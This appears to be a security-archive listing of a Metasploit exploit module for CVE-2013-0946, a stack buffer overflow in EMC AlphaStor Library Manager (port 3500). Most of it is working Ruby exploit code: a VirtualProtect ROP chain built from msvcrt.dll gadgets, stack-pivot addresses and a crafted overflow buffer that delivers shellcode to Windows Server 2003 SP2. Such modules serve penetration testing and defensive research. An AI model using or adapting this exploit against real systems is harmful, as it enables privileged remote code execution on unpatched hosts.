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EMC AlphaStor Library Manager Opcode 0x4f Buffer Overflow

EMC AlphaStor Library Manager Opcode 0x4f Buffer Overflow
Posted Sep 14, 2017
Authored by James Fitts | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow found in EMC Alphastor Library Manager version < 4.0 build 910. The overflow is triggered due to a lack of sanitization of the pointers used for two strcpy functions.

tags | exploit, overflow
advisories | CVE-2013-0946
MD5 | f45a624dc0d882bbd6d7709cfcc6d8e7

EMC AlphaStor Library Manager Opcode 0x4f Buffer Overflow

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require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'EMC AlphaStor Library Manager Opcode 0x4f',
'Description' => %q{
This module exploits a stack based buffer overflow found in EMC
Alphastor Library Manager version < 4.0 build 910. The overflow
is triggered due to a lack of sanitization of the pointers used
for two strcpy functions.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
[ 'CVE', '2013-0946' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'wfsdelay' => 1000
},
'Privileged' => true,
'Payload' =>
{
'Space' => 160,
'DisableNops' => 'true',
'BadChars' => "\x00\x09\x0a\x0d",
'StackAdjustment' => -404,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows Server 2003 SP2 EN',
{
# msvcrt.dll
# add esp, 0c/ retn
'Ret' => 0x77bdda70,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 13 2014'))

register_options(
[
Opt::RPORT(3500)
], self.class )
end

def exploit
connect

p = "\x90" * 8
p << payload.encoded

# msvcrt.dll
# 96 bytes
rop = [
0x77bb2563, # pop eax/ retn
0x77ba1114, # ptr to kernel32!virtualprotect
0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
0xfeedface,
0x77bb0c86, # xchg eax, esi/ retn
0x77bc9801, # pop ebp/ retn
0x77be2265,
0x77bb2563, # pop eax/ retn
0x03C0990F,
0x77bdd441, # sub eax, 3c0940fh/ retn
0x77bb48d3, # pop eax/ retn
0x77bf21e0,
0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
0x77bbfc02, # pop ecx/ retn
0x77bef001,
0x77bd8c04, # pop edi/ retn
0x77bd8c05,
0x77bb2563, # pop eax/ retn
0x03c0984f,
0x77bdd441, # sub eax, 3c0940fh/ retn
0x77bb8285, # xchg eax, edx/ retn
0x77bb2563, # pop eax/ retn
0x90909090,
0x77be6591, # pushad/ add al, 0efh/ retn
].pack("V*")

buf = Rex::Text.pattern_create(514)
buf[0, 2] = "O~" # opcode
buf[13, 4] = [0x77bdf444].pack('V') # stack pivot 52
buf[25, 4] = [target.ret].pack('V') # stack pivot 12
buf[41, 4] = [0x77bdf444].pack('V') # stack pivot 52
buf[57, 4] = [0x01167e20].pack('V') # ptr
buf[69, rop.length] = rop
buf[165, 4] = [0x909073eb].pack('V') # jmp $+117
buf[278, 4] = [0x0116fd59].pack('V') # ptr
buf[282, p.length] = p
buf[512, 1] = "\x00"

# junk
buf << "AAAA"
buf << "BBBB"
buf << "CCCC"
buf << "DDDD"

print_status("Trying target %s..." % target.name)

sock.put(buf)

handler
disconnect
end

end

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